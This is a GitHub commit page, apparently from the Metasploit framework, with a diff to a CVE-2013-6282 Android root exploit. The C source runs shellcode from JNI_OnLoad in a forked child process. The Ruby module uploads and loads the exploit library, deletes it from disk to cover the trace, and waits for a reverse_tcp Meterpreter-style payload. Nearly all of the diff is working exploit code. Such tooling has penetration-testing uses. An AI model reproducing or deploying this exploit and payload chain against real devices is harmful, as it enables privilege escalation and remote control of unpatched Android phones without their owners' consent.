Skip to content

Commit fe9972c

Browse files
committed
fork early and use WfsDelay
1 parent 891fccb commit fe9972c

File tree

2 files changed

+13
-22
lines changed

2 files changed

+13
-22
lines changed

external/source/exploits/CVE-2013-6282/exploit.c

Lines changed: 10 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -679,18 +679,13 @@ void init_exploit() {
679679
}
680680
LOGV("running shellcode, uid=%d\n", uid);
681681

682-
int pid = fork();
683-
LOGV("onload, pid=%d\n", pid);
684-
if (pid == 0) {
685-
void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
686-
if (ptr == MAP_FAILED) {
687-
return;
688-
}
689-
memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
690-
void (*shellcode)() = (void(*)())ptr;
691-
shellcode();
682+
void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
683+
if (ptr == MAP_FAILED) {
684+
return;
692685
}
693-
LOGV("finished, pid=%d\n", pid);
686+
memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
687+
void (*shellcode)() = (void(*)())ptr;
688+
shellcode();
694689

695690
LOGV("exiting.\n");
696691
}
@@ -712,7 +707,10 @@ JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
712707
return -1;
713708
}
714709

715-
init_exploit();
710+
int pid = fork();
711+
if (pid == 0) {
712+
init_exploit();
713+
}
716714
return JNI_VERSION_1_4;
717715
}
718716

modules/exploits/android/local/put_user_vroot.rb

Lines changed: 3 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -44,15 +44,12 @@ def initialize(info={})
4444
"Arch" => ARCH_ARMLE,
4545
'DefaultOptions' =>
4646
{
47+
'WfsDelay' => 120,
4748
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
4849
},
4950
'DefaultTarget' => 0,
5051
}
5152
))
52-
register_options(
53-
[
54-
OptInt.new("ListenerTimeout", [ true, "The maximum number of seconds to wait for a session", 300])
55-
], self.class)
5653
end
5754

5855
def exploit
@@ -70,20 +67,16 @@ def exploit
7067
write_file(remote_file, exploit_data)
7168

7269
print_status("Loading exploit library #{remote_file}")
73-
old_timeout = session.response_timeout
74-
print_status("Be patient, this exploit will automatically timeout after #{datastore['ListenerTimeout']} seconds")
75-
session.response_timeout = datastore['ListenerTimeout']
7670
session.core.load_library(
7771
'LibraryFilePath' => local_file,
7872
'TargetFilePath' => remote_file,
7973
'UploadLibrary' => false,
8074
'Extension' => false,
8175
'SaveToDisk' => false
8276
)
83-
session.response_timeout = old_timeout
84-
print_status("Loaded library #{remote_file}")
77+
print_status("Loaded library #{remote_file}, deleting")
8578
session.fs.file.rm(remote_file)
86-
print_status("Library #{remote_file} was deleted")
79+
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
8780
end
8881

8982
end

0 commit comments

Comments
 (0)